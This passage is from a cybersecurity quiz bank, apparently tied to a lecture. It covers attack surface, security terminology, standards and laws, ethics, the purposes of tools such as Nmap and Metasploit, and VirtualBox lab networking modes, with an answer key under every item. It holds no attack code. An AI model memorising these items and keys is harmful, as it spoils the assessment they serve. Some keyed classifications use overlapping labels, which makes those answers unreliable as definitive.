Sensitive information is protected while an application is calculating a result. Which state is most relevant?

- A. A network node only
- B. Data at rest only
- C. Data in transit only
- D. Data being processed

Answer: D. Data being processed

Why: The definition includes information being processed.

Source page reference: pp. 22-23, 25

4. Attack surface and access to the target

33 questions. Answers appear immediately below each item.

Q094 | Definition recognition

Which description best defines an attack surface?

- A. A list of installed patches only.
- B. A list of successful attacks only.
- C. The number of authorized users only.
- D. The sum of all points where an attacker could try to enter, interact with, or extract data from a system.

Answer: D. The sum of all points where an attacker could try to enter, interact with, or extract data from a system.

Why: Attack surface concerns the exposed points available for interaction or extraction.

Source page reference: pp. 30-32

Q095 | Single answer

An attack surface can also be described as the sum of what?

- A. Attack vectors
- B. Legal requirements
- C. Backups
- D. User accounts only

Answer: A. Attack vectors

Why: The lecture states that the attack surface is the sum of attack vectors.

Source page reference: p. 32

Q096 | Classification

Which attack-surface category best matches: Vulnerabilities exposed over an enterprise network, wide-area network, or the Internet?

- A. Physical or machine attack vector
- B. Human attack surface
- C. Software attack surface
- D. Network attack surface

Answer: D. Network attack surface

Why: This description matches network attack surface.

Source page reference: pp. 31-32

Q097 | Classification

Which attack-surface category best matches: Vulnerabilities in application, utility, or operating-system code?

- A. Network attack surface
- B. Human attack surface
- C. Software attack surface
- D. Physical or machine attack vector

Answer: C. Software attack surface

Why: This description matches software attack surface.

Source page reference: pp. 31-32

Q098 | Classification

Which attack-surface category best matches: Vulnerabilities involving personnel or outsiders, including social engineering, human error, and trusted insiders?

- A. Network attack surface
- B. Physical or machine attack vector
- C. Human attack surface
- D. Software attack surface

Answer: C. Human attack surface

Why: This description matches human attack surface.

Source page reference: pp. 31-32

Q099 | Classification

Which attack-surface category best matches: Direct physical access to a machine or device?

- A. Software attack surface
- B. Network attack surface
- C. Physical or machine attack vector
- D. Human attack surface

Answer: C. Physical or machine attack vector

Why: This description matches physical or machine attack vector.

Source page reference: pp. 31-32

Q100 | Example classification

Which classification best fits this attack-surface example: Open ports on outward-facing web and other servers, together with code listening on those ports?

- A. Software attack surface
- B. Software-facing input interfaces
- C. Network or software-facing exposure
- D. Reachable internal service exposure

Answer: C. Network or software-facing exposure

Why: The example belongs to network or software-facing exposure.

Source page reference: pp. 30-31

Q101 | Example classification

Which classification best fits this attack-surface example: Services available on the inside of a firewall?

- A. Network or software-facing exposure
- B. Reachable internal service exposure
- C. Software attack surface
- D. Software-facing input interfaces

Answer: B. Reachable internal service exposure

Why: The example belongs to reachable internal service exposure.

Source page reference: pp. 30-31

Q102 | Example classification

Which classification best fits this attack-surface example: Code that processes incoming email, XML, office documents, or custom exchange formats?

- A. Network or software-facing exposure
- B. Software attack surface
- C. Software-facing input interfaces
- D. Reachable internal service exposure

Answer: B. Software attack surface

Why: The example belongs to software attack surface.

Source page reference: pp. 30-31

Q103 | Example classification

Which classification best fits this attack-surface example: Interfaces, SQL endpoints, and web forms?

- A. Software attack surface
- B. Network or software-facing exposure
- C. Reachable internal service exposure
- D. Software-facing input interfaces

Answer: D. Software-facing input interfaces

Why: The example belongs to software-facing input interfaces.

Source page reference: pp. 30-31

Q104 | Example classification

Which classification best fits this attack-surface example: An employee with sensitive access who is vulnerable to social engineering?

- A. Network or software-facing exposure
- B. Software attack surface
- C. Reachable internal service exposure
- D. Human attack surface

Answer: D. Human attack surface

Why: The example belongs to human attack surface.

Source page reference: pp. 30-31

Q105 | Example classification

Which classification best fits this attack-surface example: A vulnerable web-server application?

- A. Reachable internal service exposure
- B. Software-facing input interfaces
- C. Network or software-facing exposure
- D. Software attack surface

Answer: D. Software attack surface

Why: The example belongs to software attack surface.

Source page reference: pp. 30-31

Q106 | Example classification

Which classification best fits this attack-surface example: A protocol weakness used for a denial-of-service attack?

- A. Network or software-facing exposure
- B. Reachable internal service exposure
- C. Software attack surface
- D. Network attack surface

Answer: D. Network attack surface

Why: The example belongs to network attack surface.

Source page reference: pp. 30-31

Q107 | Example classification

Which classification best fits this attack-surface example: A trusted insider who misuses access?

- A. Human attack surface
- B. Reachable internal service exposure
- C. Software attack surface
- D. Network or software-facing exposure

Answer: A. Human attack surface

Why: The example belongs to human attack surface.

Source page reference: pp. 30-31

Q108 | Select all that apply

Which items can be part of an attack surface? Select all that apply.

- A. Open ports on outward-facing servers
- B. Internal services behind a firewall
- C. Code that processes incoming documents
- D. Web forms and SQL interfaces
- E. Employees susceptible to social engineering

Answer: A, B, C, D, E

Why: All of these examples are shown in the attack-surface material.

Source page reference: p. 30

Q109 | Scenario

A web form accepts untrusted user input. Why should it be considered part of the attack surface?

- A. It is an interface through which an attacker may interact with the system.
- B. It guarantees availability.
- C. It automatically patches the system.
- D. It removes every human factor.

Answer: A. It is an interface through which an attacker may interact with the system.

Why: Interfaces and web forms are attack-surface examples because they accept interaction and input.

Source page reference: p. 30

Q110 | Scenario

A service is behind a firewall but reachable by internal users. Is it relevant to the attack surface?

- A. Yes. Services available inside a firewall can still be part of the attack surface.
- B. Only if it is physically disconnected.
- C. Only if it is a backup.
- D. No. Anything behind a firewall is automatically outside the attack surface.

Answer: A. Yes. Services available inside a firewall can still be part of the attack surface.

Why: The lecture explicitly includes services available inside a firewall.

Source page reference: p. 30

Q111 | Scenario

A parser processes incoming office documents. Why can it expand the attack surface?

- A. It processes attacker-controlled input that may exercise vulnerable code.
- B. It creates a backup automatically.
- C. It is a legal requirement.
- D. It always decreases the number of interfaces.

Answer: A. It processes attacker-controlled input that may exercise vulnerable code.

Why: Code processing incoming documents and data formats is part of the attack surface.

Source page reference: p. 30

Q112 | Single answer

What does an attacker generally want to do to the exposed interface?

- A. Expand it
- B. Limit it
- C. Encrypt it automatically
- D. Document it only

Answer: A. Expand it

Why: The attacker benefits from more exposed entry and interaction points.

Source page reference: p. 33

Q113 | Single answer

What does an operator generally want to do to the surface open to attacks?

- A. Ignore it
- B. Make every port public
- C. Limit it
- D. Expand it

Answer: C. Limit it

Why: Operators want to reduce exposure.

Source page reference: p. 33

Q114 | Single answer

How should a designer treat attack-surface concerns?

- A. Always maximize interfaces.
- B. Ignore operator requirements.
- C. Design the system according to operator requirements so exposure is appropriately limited.
- D. Rely on a single control only.

Answer: C. Design the system according to operator requirements so exposure is appropriately limited.

Why: Designers should support the operator requirement to limit exposure.

Source page reference: p. 33

Q115 | Assertion-reason

Assertion: Reducing unnecessary exposed interfaces can reduce the attack surface.

Reason: The attack surface is made up of entry, interaction, and extraction points available to an attacker.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: Fewer unnecessary exposed points means fewer possible vectors.

Source page reference: pp. 30-33

Q116 | Single answer

Which statement about direct access is correct?

- A. Depending on the kind of access, an attacker may not need a vulnerability.
- B. Direct access is never relevant to cybersecurity.
- C. Direct access always requires a software bug.
- D. Direct access affects only confidentiality.

Answer: A. Depending on the kind of access, an attacker may not need a vulnerability.

Why: The lecture explicitly notes that some forms of direct access do not require a vulnerability.

Source page reference: p. 34

Q117 | Single answer

Which activity is often an early step in gaining access to a target?

- A. Patch installation
- B. Checksum verification
- C. Social engineering
- D. Backup restoration

Answer: C. Social engineering

Why: The lecture states that social engineering is often a first step.

Source page reference: p. 34

Q118 | Select all that apply

Which actions may be used in social-engineering access attempts? Select all that apply.

- A. Sending an email to all employees
- B. Sending an email to selected employees
- C. Including a crafted attachment
- D. Sending an email without an attachment
- E. Restricting every message to a backup server only

Answer: A, B, C, D

Why: The lecture mentions emails to all or selected employees, with or without crafted attachments.

Source page reference: p. 34

Q119 | Scenario

An attacker sends a crafted attachment to selected employees to obtain an initial foothold. Which concept is illustrated most directly?

- A. Social engineering as an initial access step
- B. Availability through redundancy
- C. A legal standard
- D. A storage biometric

Answer: A. Social engineering as an initial access step

Why: The lecture provides employee emails with crafted attachments as an example.

Source page reference: p. 34

Q120 | Scenario

An unauthorized person sits at an unlocked workstation and copies data without exploiting a software flaw. Which statement best applies?

- A. Direct access can sometimes succeed without exploiting a vulnerability.
- B. Physical access cannot be an attack vector.
- C. The event affects no asset.
- D. A software exploit is always required.

Answer: A. Direct access can sometimes succeed without exploiting a vulnerability.

Why: Physical or direct access may make a separate software vulnerability unnecessary.

Source page reference: pp. 32, 34

Q121 | EXCEPT / NOT

All of the following can contribute to an attack surface EXCEPT:

- A. An open server port
- B. A web form
- C. Code parsing incoming email
- D. A policy statement that has no connection to a reachable system, user, or process

Answer: D. A policy statement that has no connection to a reachable system, user, or process

Why: Attack-surface items provide a possible route to enter, interact with, or extract data from a system.

Source page reference: p. 30

Q122 | *Applied concept*

The organization exposes an unnecessary Internet-facing port. What should the operator do first from an attack-surface perspective?

- A. Disable backups
- B. Publish more ports
- C. Avoid documenting the service
- D. Remove or restrict the unnecessary exposure

Answer: D. Remove or restrict the unnecessary exposure
Why: The answer follows the lecture attack-surface model.

Source page reference: pp. 30-34

Q123 | *Applied concept*

Which role benefits from a larger exposed interface?

- A. Attacker
- B. Designer implementing operator requirements
- C. Operator
- D. Authorized backup process

Answer: A. Attacker
Why: The answer follows the lecture attack-surface model.

Source page reference: pp. 30-34

Q124 | *Applied concept*

Which role generally seeks to minimize reachable points?

- A. Operator
- B. Unauthorized user
- C. Attacker
- D. Exploit author only

Answer: A. Operator
Why: The answer follows the lecture attack-surface model.

Source page reference: pp. 30-34

Q125 | *Applied concept*

Which phrase best captures the relation between attack vectors and attack surface?

- A. Attack vectors are unrelated to exposure.
- B. An attack surface contains only successful attacks.
- C. Each attack vector is a backup.
- D. The attack surface is the sum of attack vectors.

Answer: D. The attack surface is the sum of attack vectors.
Why: The answer follows the lecture attack-surface model.

Source page reference: pp. 30-34

Q126 | *Applied concept*

Which input source is a software-facing attack-surface example?

- A. Only licensed software
- B. Incoming email and office documents
- C. Only encrypted backups
- D. Only printed reports

Answer: B. Incoming email and office documents

Why: The answer follows the lecture attack-surface model.

Source page reference: pp. 30-34

5. Core terminology and security process

34 questions. Answers appear immediately below each item.

Q127 | Definition recognition

Which term is defined as: A measure of the extent to which an entity is threatened by a potential circumstance or event?

- A. Risk
- B. Threat
- C. Vulnerability
- D. Exploit

Answer: A. Risk

Why: This is the lecture definition of risk.

Source page reference: p. 35

Q128 | Reverse definition

Which description best matches the term Risk?

- A. A measure of the extent to which an entity is threatened by a potential circumstance or event
- B. A weakness in a system
- C. A circumstance or event with the potential to exploit a vulnerability
- D. A method of taking advantage of a vulnerability

Answer: A. A measure of the extent to which an entity is threatened by a potential circumstance or event

Why: Risk means a measure of the extent to which an entity is threatened by a potential circumstance or event.

Source page reference: p. 35

Q129 | Definition recognition

Which term is defined as: A weakness in a system?

- A. Risk
- B. Threat
- C. Exploit
- D. Vulnerability

Answer: D. Vulnerability

Why: This is the lecture definition of vulnerability.

Source page reference: p. 35

Q130 | Reverse definition

Which description best matches the term Vulnerability?

- A. A method of taking advantage of a vulnerability
- B. A circumstance or event with the potential to exploit a vulnerability
- C. A weakness in a system
- D. A measure of the extent to which an entity is threatened by a potential circumstance or event

Answer: C. A weakness in a system

Why: Vulnerability means a weakness in a system.

Source page reference: p. 35

Q131 | Definition recognition

Which term is defined as: A circumstance or event with the potential to exploit a vulnerability?

- A. Threat
- B. Exploit
- C. Risk
- D. Vulnerability

Answer: A. Threat

Why: This is the lecture definition of threat.

Source page reference: p. 35

Q132 | Reverse definition

Which description best matches the term Threat?

- A. A weakness in a system
- B. A method of taking advantage of a vulnerability
- C. A measure of the extent to which an entity is threatened by a potential circumstance or event
- D. A circumstance or event with the potential to exploit a vulnerability

Answer: D. A circumstance or event with the potential to exploit a vulnerability

Why: Threat means a circumstance or event with the potential to exploit a vulnerability.

Source page reference: p. 35

Q133 | Definition recognition

Which term is defined as: A method of taking advantage of a vulnerability?

- A. Threat
- B. Vulnerability
- C. Risk
- D. Exploit

Answer: D. Exploit

Why: This is the lecture definition of exploit.

Source page reference: p. 35

Q134 | Reverse definition

Which description best matches the term Exploit?

- A. A circumstance or event with the potential to exploit a vulnerability
- B. A measure of the extent to which an entity is threatened by a potential circumstance or event
- C. A method of taking advantage of a vulnerability
- D. A weakness in a system

Answer: C. A method of taking advantage of a vulnerability

Why: Exploit means a method of taking advantage of a vulnerability.

Source page reference: p. 35

Q135 | Definition recognition

Which term is defined as: An action that uses a threat to exploit a vulnerability?

- A. Risk
- B. Threat
- C. Vulnerability
- D. Attack

Answer: D. Attack

Why: This is the lecture definition of attack.

Source page reference: p. 35

Q136 | Reverse definition

Which description best matches the term Attack?

- A. A weakness in a system
- B. An action that uses a threat to exploit a vulnerability
- C. A measure of the extent to which an entity is threatened by a potential circumstance or event
- D. A circumstance or event with the potential to exploit a vulnerability

Answer: B. An action that uses a threat to exploit a vulnerability

Why: Attack means an action that uses a threat to exploit a vulnerability.

Source page reference: p. 35

Q137 | Definition recognition

Which term is defined as: A fix for a vulnerability?

- A. Patch
- B. Vulnerability
- C. Threat
- D. Risk

Answer: A. Patch

Why: This is the lecture definition of patch.

Source page reference: p. 35

Q138 | Reverse definition

Which description best matches the term Patch?

- A. A measure of the extent to which an entity is threatened by a potential circumstance or event
- B. A weakness in a system
- C. A fix for a vulnerability
- D. A circumstance or event with the potential to exploit a vulnerability

Answer: C. A fix for a vulnerability

Why: Patch means a fix for a vulnerability.

Source page reference: p. 35

Q139 | Definition recognition

Which term is defined as: A means of preventing an attack that tries to exploit one or more vulnerabilities?

- A. Vulnerability
- B. Risk
- C. Threat
- D. Countermeasure

Answer: D. Countermeasure

Why: This is the lecture definition of countermeasure.

Source page reference: p. 35

Q140 | Reverse definition

Which description best matches the term Countermeasure?

- A. A means of preventing an attack that tries to exploit one or more vulnerabilities
- B. A measure of the extent to which an entity is threatened by a potential circumstance or event
- C. A weakness in a system
- D. A circumstance or event with the potential to exploit a vulnerability

Answer: A. A means of preventing an attack that tries to exploit one or more vulnerabilities

Why: Countermeasure means a means of preventing an attack that tries to exploit one or more vulnerabilities.

Source page reference: p. 35

Q141 | Scenario

A buffer overflow exists in an application, but nobody has used it yet. Which term fits best?

- A. Exploit
- B. Risk
- C. Vulnerability
- D. Threat

Answer: C. Vulnerability

Why: The weakness itself is a vulnerability.

Source page reference: p. 35

Q142 | Scenario

An attacker writes a procedure that triggers a known software weakness. Which term fits best?

- A. Vulnerability
- B. Threat
- C. Exploit
- D. Risk

Answer: C. Exploit

Why: The procedure or method for taking advantage of a weakness is an exploit.

Source page reference: p. 35

Q143 | Scenario

A vendor releases code that fixes a weakness. Which term fits best?

- A. Risk
- B. Threat
- C. Vulnerability
- D. Patch

Answer: D. Patch

Why: A fix for a vulnerability is a patch.

Source page reference: p. 35

Q144 | Scenario

A flood, malicious actor, or event could take advantage of a weakness. Which term fits best?

- A. Exploit
- B. Risk
- C. Threat
- D. Vulnerability

Answer: C. Threat

Why: A circumstance or event with exploit potential is a threat.

Source page reference: p. 35

Q145 | Scenario

An intruder actively uses a method to compromise a weak service. Which term fits best?

- A. Risk
- B. Threat
- C. Vulnerability
- D. Attack

Answer: D. Attack

Why: The action using a threat and exploit path is an attack.

Source page reference: p. 35

Q146 | Scenario

A firewall rule is introduced to prevent an attempted compromise. Which term fits best?

- A. Risk
- B. Threat
- C. Countermeasure
- D. Vulnerability

Answer: C. Countermeasure

Why: A preventive means is a countermeasure.

Source page reference: p. 35

Q147 | Scenario

A security team evaluates how threatened an organization is by a possible event. Which term fits best?

- A. Threat
- B. Exploit
- C. Vulnerability
- D. Risk

Answer: D. Risk

Why: Risk measures the extent to which an entity is threatened.

Source page reference: p. 35

Q148 | Scenario

An outdated service contains a flaw that permits unauthorized access. Which term fits best?

- A. Exploit
- B. Vulnerability
- C. Threat
- D. Risk

Answer: B. Vulnerability

Why: The flaw is the system weakness.

Source page reference: p. 35

Q149 | Scenario

A crafted input string is used to trigger a parser flaw. Which term fits best?

- A. Exploit
- B. Risk
- C. Threat
- D. Vulnerability

Answer: A. Exploit

Why: The crafted method takes advantage of a vulnerability.

Source page reference: p. 35

Q150 | Scenario

A software update removes the parser flaw. Which term fits best?

- A. Patch
- B. Vulnerability
- C. Threat
- D. Risk

Answer: A. Patch

Why: The update fixes the vulnerability.

Source page reference: p. 35

Q151 | Scenario

A phishing campaign may target employees who have sensitive access. Which term fits best?

- A. Exploit
- B. Threat
- C. Vulnerability
- D. Risk

Answer: B. Threat

Why: The possible campaign is a circumstance with potential to exploit a human weakness.

Source page reference: p. 35

Q152 | Scenario

The phishing email is actually sent to employees. Which term fits best?

- A. Vulnerability
- B. Attack
- C. Threat
- D. Risk

Answer: B. Attack

Why: The action is now being carried out.

Source page reference: p. 35

Q153 | Relationship recognition

Which sequence best represents the terminology relationship?

- A. A threat may exploit a vulnerability; an exploit is a method; an attack is an action; a patch fixes the vulnerability; a countermeasure helps prevent the attack.
- B. An attack is a weakness and a threat is a backup.
- C. A patch creates a vulnerability and a risk removes it.
- D. A countermeasure is always an exploit.

Answer: A. A threat may exploit a vulnerability; an exploit is a method; an attack is an action; a patch fixes the vulnerability; a countermeasure helps prevent the attack.

Why: The terms describe different parts of the security problem and response.

Source page reference: p. 35

Q154 | Select all that apply

Which pairings are correct? Select all that apply.

- A. Vulnerability - weakness in a system
- B. Exploit - method of taking advantage of a weakness
- C. Patch - fix for a vulnerability
- D. Countermeasure - means of preventing an attack
- E. Threat - guaranteed successful attack

Answer: A, B, C, D

Why: A threat has potential; it is not necessarily a guaranteed successful attack.

Source page reference: p. 35

Q155 | Assertion-reason

Assertion: A vulnerability and an exploit are not the same thing.

Reason: A vulnerability is a weakness, while an exploit is a method for taking advantage of a weakness.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: The lecture explicitly distinguishes the weakness from the method.

Source page reference: p. 35

Q156 | Assertion-reason

Assertion: A patch and a countermeasure are conceptually identical in every case.

Reason: A patch fixes a vulnerability, while a countermeasure is a broader means of preventing an attack.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: D. The assertion is false, but the reason is true.

Why: A patch is one kind of response, while countermeasure is broader.

Source page reference: p. 35

Q157 | Single answer

What does the phrase "there is no silver bullet" mean in cybersecurity?

- A. Security depends only on buying more hardware.
- B. No single control solves every security problem.
- C. One patch permanently solves all future problems.
- D. Only legal rules matter.

Answer: B. No single control solves every security problem.

Why: Cybersecurity requires multiple procedures, controls, and ongoing work.

Source page reference: p. 36

Q158 | Single answer

Why can the cybersecurity process be domain-specific?

- A. Different systems, assets, threats, and operating contexts require different protections.
- B. Every system has identical risks.
- C. All assets are public.
- D. Standards prohibit adaptation.

Answer: A. Different systems, assets, threats, and operating contexts require different protections.

Why: The lecture emphasizes that the process may depend on the domain.

Source page reference: p. 36

Q159 | Single answer

Why is cybersecurity described as iterative?

- A. Attack surfaces never change.
- B. A single scan ends all security work.
- C. Security work must be revisited as systems, threats, and experience change.
- D. Updates are never needed.

Answer: C. Security work must be revisited as systems, threats, and experience change.

Why: The lecture notes that the process is iterative and benefits from continuous learning.

Source page reference: pp. 20, 36

Q160 | Scenario

A team has identified assets, considered attack paths, and deployed mitigations. It now plans what to do if defenses fail. Which focus area is it addressing?

- A. How to ignore domain context
- B. What should happen when the worst case occurs?
- C. How to increase exposed interfaces
- D. How to remove every backup

Answer: B. What should happen when the worst case occurs?

Why: Cybersecurity planning includes preparation for incidents despite preventive controls.

Source page reference: p. 36

6. Standards, legal topics, and professional ethics

16 questions. Answers appear immediately below each item.

Q161 | *Single answer*

What do security standards broadly cover?

- A. Only physical building design
- B. Management practices and the overall architecture of security mechanisms and services
- C. Only virtual-machine passwords
- D. Only keyboard layouts

Answer: B. Management practices and the overall architecture of security mechanisms and services

Why: The lecture describes standards as covering management practices and security architecture.

Source page reference: p. 37

Q162 | *Abbreviation recognition*

Which abbreviation matches National Institute of Standards and Technology?

- A. ISOC
- B. NIST
- C. ITU-T
- D. ISO

Answer: B. NIST

Why: NIST is the abbreviation used in the lecture.

Source page reference: p. 37

Q163 | *Organization recognition*

What does the abbreviation NIST stand for?

- A. International Telecommunication Union
- B. National Institute of Standards and Technology
- C. Internet Society
- D. International Organization for Standardization

Answer: B. National Institute of Standards and Technology

Why: NIST refers to National Institute of Standards and Technology.

Source page reference: p. 37

Q164 | *Abbreviation recognition*

Which abbreviation matches Internet Society?

- A. ISOC
- B. ISO
- C. NIST
- D. ITU-T

Answer: A. ISOC

Why: ISOC is the abbreviation used in the lecture.

Source page reference: p. 37

Q165 | Organization recognition

What does the abbreviation ISOC stand for?

- A. National Institute of Standards and Technology
- B. International Telecommunication Union
- C. Internet Society
- D. International Organization for Standardization

Answer: C. Internet Society

Why: ISOC refers to Internet Society.

Source page reference: p. 37

Q166 | Abbreviation recognition

Which abbreviation matches International Telecommunication Union?

- A. ITU-T
- B. ISOC
- C. ISO
- D. NIST

Answer: A. ITU-T

Why: ITU-T is the abbreviation used in the lecture.

Source page reference: p. 37

Q167 | Organization recognition

What does the abbreviation ITU-T stand for?

- A. International Organization for Standardization
- B. International Telecommunication Union
- C. National Institute of Standards and Technology
- D. Internet Society

Answer: B. International Telecommunication Union

Why: ITU-T refers to International Telecommunication Union.

Source page reference: p. 37

Q168 | Abbreviation recognition

Which abbreviation matches International Organization for Standardization?

- A. ITU-T
- B. NIST
- C. ISO
- D. ISOC

Answer: C. ISO

Why: ISO is the abbreviation used in the lecture.

Source page reference: p. 37

Q169 | Organization recognition

What does the abbreviation ISO stand for?

- A. National Institute of Standards and Technology
- B. International Organization for Standardization
- C. International Telecommunication Union
- D. Internet Society

Answer: B. International Organization for Standardization

Why: ISO refers to International Organization for Standardization.

Source page reference: p. 37

Q170 | Legal-topic recognition

Which legal or policy topic matches this description: 1987 and 1992?

- A. OMB Circular A-130
- B. HIPAA
- C. GDPR
- D. Computer Security Act

Answer: D. Computer Security Act

Why: The lecture associates this description with Computer Security Act.

Source page reference: p. 38

Q171 | Legal-topic recognition

Which legal or policy topic matches this description: Health Insurance Portability and Accountability Act of 1996?

- A. HIPAA
- B. OMB Circular A-130
- C. Computer Security Act
- D. GDPR

Answer: A. HIPAA

Why: The lecture associates this description with HIPAA.

Source page reference: p. 38

Q172 | Legal-topic recognition

Which legal or policy topic matches this description: EU Data Protection Regulations, applicable in the European Union?

- A. HIPAA
- B. Computer Security Act
- C. GDPR
- D. OMB Circular A-130

Answer: C. GDPR

Why: The lecture associates this description with GDPR.

Source page reference: p. 38

Q173 | Single answer

Which legal framework is associated with health-information protection?

- A. ITU-T
- B. HIPAA
- C. NISTIR 7298
- D. GDPR only

Answer: B. HIPAA

Why: HIPAA stands for the Health Insurance Portability and Accountability Act.

Source page reference: p. 38

Q174 | Single answer

Which legal framework is associated with EU data protection?

- A. HIPAA
- B. ISOC
- C. Snort
- D. GDPR

Answer: D. GDPR

Why: The lecture identifies EU Data Protection Regulations as GDPR.

Source page reference: p. 38

Q175 | Select all that apply

Which professional-ethics statements are consistent with responsible cybersecurity practice? Select all that apply.

- A. Cybersecurity skills should be used ethically.
- B. Unauthorized access is prohibited.
- C. Unauthorized manipulation or misuse of data and systems is prohibited.
- D. Individuals are responsible for their actions.
- E. Educational context automatically authorizes access to any system.

Answer: A, B, C, D

Why: Educational use does not create authorization to access arbitrary systems.

Source page reference: p. 10

Q176 | Scenario

A student tests a third-party system without permission because the technique was learned in class. Which statement is correct?

- A. The action is not authorized; educational knowledge does not permit unauthorized testing.
- B. The action is permitted if no data is changed.
- C. The action is permitted if a virtual machine was used during class.
- D. The action is automatically permitted.

Answer: A. The action is not authorized; educational knowledge does not permit unauthorized testing.

Why: Lecture 1 explicitly prohibits unauthorized access, manipulation, and misuse.

Source page reference: p. 10

7. Practical tool-purpose questions

10 questions. Answers appear immediately below each item.

Q177 | Scenario

A security analyst wants to discover hosts, open ports, and running services. Which tool is the best fit?

- A. Nessus
- B. Snort
- C. Wazuh
- D. Nmap

Answer: D. Nmap

Why: Nmap is designed for network discovery and security auditing.

Source page reference: pp. 8-9

Q178 | Single answer

Which tool is commonly used to create TCP/IP connections, listen on ports, and exchange data during an authorized lab?

- A. CWE
- B. Snort
- C. Netcat
- D. VirtualBox

Answer: C. Netcat

Why: Netcat is a versatile networking utility for creating connections and listeners.

Source page reference: pp. 8-9

Q179 | Single answer

Which framework organizes reusable exploit and payload modules for authorized testing?

- A. NAT Network
- B. Metasploit Framework
- C. Wireshark
- D. ISO

Answer: B. Metasploit Framework

Why: Metasploit provides reusable modules for controlled security testing.

Source page reference: pp. 8-9

Q180 | Single answer

Which tool is most directly associated with testing web applications through an intercepting workflow?

- A. Burp Suite
- B. Nessus
- C. Snort
- D. VirtualBox

Answer: A. Burp Suite

Why: Burp Suite is used for web-application testing.

Source page reference: pp. 8-9

Q181 | Single answer

Which tool is commonly used to inspect captured network packets?

- A. Wazuh
- B. Metasploitable 2
- C. GDPR
- D. Wireshark

Answer: D. Wireshark

Why: Wireshark is a packet-analysis tool.

Source page reference: pp. 8-9

Q182 | Single answer

Which tool is designed for automated vulnerability scanning?

- A. Snort
- B. VirtualBox
- C. Nessus
- D. Netcat

Answer: C. Nessus

Why: Nessus is a vulnerability scanner.

Source page reference: pp. 8-9

Q183 | Single answer

Which open-source vulnerability-scanning platform is associated with Greenbone?

- A. NAT
- B. OpenVAS / GVM
- C. Burp Suite
- D. Scapy

Answer: B. OpenVAS / GVM

Why: OpenVAS, now commonly presented as part of Greenbone Vulnerability Management, automates vulnerability assessment.

Source page reference: pp. 8-9

Q184 | Single answer

Which tool is commonly associated with network intrusion detection and prevention?

- A. Snort
- B. Nessus
- C. VirtualBox
- D. Netcat

Answer: A. Snort

Why: Snort is used for IDS and IPS work.

Source page reference: pp. 8-9

Q185 | Single answer

Which platform is used for SIEM and extended detection-and-response monitoring?

- A. Nmap
- B. Metasploitable 3
- C. Burp Suite
- D. Wazuh

Answer: D. Wazuh

Why: Wazuh supports SIEM and extended detection-and-response monitoring.

Source page reference: pp. 8-9

Q186 | Single answer

Which option is intended to be an intentionally vulnerable practice target rather than a production system?

- A. Wireshark
- B. GDPR
- C. Metasploitable 2
- D. NIST

Answer: C. Metasploitable 2

Why: Metasploitable systems are deliberately vulnerable lab targets for authorized training.

Source page reference: pp. 8-9

8. Lab setup and VirtualBox networking

28 questions. Answers appear immediately below each item.

Q187 | *Networking-mode recognition*

Which VirtualBox networking mode best matches this description: VMs can communicate with the host or other VMs on a local private network, but not with the Internet.

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT

Answer: A. Host-only

Why: The connectivity pattern matches Host-only.

Source page reference: p. 41

Q188 | *Networking-mode recognition*

Which VirtualBox networking mode best matches this description: Assigned VMs can communicate on a virtual private network without host or Internet access.

- A. Bridged
- B. NAT
- C. Host-only
- D. Internal

Answer: D. Internal

Why: The connectivity pattern matches Internal.

Source page reference: p. 41

Q189 | *Networking-mode recognition*

Which VirtualBox networking mode best matches this description: The VM acts as a node on the local network, with Internet connectivity in both directions.

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT

Answer: C. Bridged

Why: The connectivity pattern matches Bridged.

Source page reference: p. 41

Q190 | *Networking-mode recognition*

Which VirtualBox networking mode best matches this description: A VM is hidden by the host, can initiate Internet traffic, and inbound access requires port forwarding; separate NAT VMs cannot communicate directly.

- A. NAT
- B. Bridged
- C. Internal
- D. Host-only

Answer: A. NAT

Why: The connectivity pattern matches NAT.

Source page reference: p. 41

Q191 | Networking-mode recognition

Which VirtualBox networking mode best matches this description: Assigned VMs share a virtual private network, can communicate, can initiate Internet traffic, and inbound access requires port forwarding.

- A. Bridged
- B. NAT Network
- C. Host-only
- D. Internal

Answer: B. NAT Network

Why: The connectivity pattern matches NAT Network.

Source page reference: p. 41

Q192 | Table interpretation

Which VirtualBox networking mode has VM-to-host communication Yes, VM-to-VM communication Yes, outbound Internet access No, and inbound Internet access No?

- A. Host-only
- B. NAT
- C. Bridged
- D. Internal

Answer: A. Host-only

Why: This connectivity profile corresponds to Host-only.

Source page reference: p. 41

Q193 | Table interpretation

Which VirtualBox networking mode has VM-to-host communication No, VM-to-VM communication Yes, outbound Internet access No, and inbound Internet access No?

- A. NAT
- B. Internal
- C. Bridged
- D. Host-only

Answer: B. Internal

Why: This connectivity profile corresponds to Internal.

Source page reference: p. 41

Q194 | Table interpretation

Which VirtualBox networking mode has VM-to-host communication Yes, VM-to-VM communication Yes, outbound Internet access Yes, and inbound Internet access Yes?

- A. Host-only
- B. Internal
- C. Bridged
- D. NAT

Answer: C. Bridged

Why: This connectivity profile corresponds to Bridged.

Source page reference: p. 41

Q195 | Table interpretation

Which VirtualBox networking mode has VM-to-host communication No, VM-to-VM communication No, outbound Internet access Yes, and inbound Internet access Port forwarding?

- A. NAT
- B. Host-only
- C. Bridged
- D. Internal

Answer: A. NAT

Why: This connectivity profile corresponds to NAT.

Source page reference: p. 41

Q196 | Table interpretation

Which VirtualBox networking mode has VM-to-host communication No, VM-to-VM communication Yes, outbound Internet access Yes, and inbound Internet access Port forwarding?

- A. Bridged
- B. Internal
- C. NAT Network
- D. Host-only

Answer: C. NAT Network

Why: This connectivity profile corresponds to NAT Network.

Source page reference: p. 41

Q197 | Scenario

Two intentionally vulnerable VMs must communicate with each other but must not reach the host or the Internet. Which mode is the best match?

- A. Host-only
- B. Bridged
- C. NAT
- D. Internal

Answer: D. Internal

Why: Internal networking allows VM-to-VM communication without host or Internet access.

Source page reference: p. 41

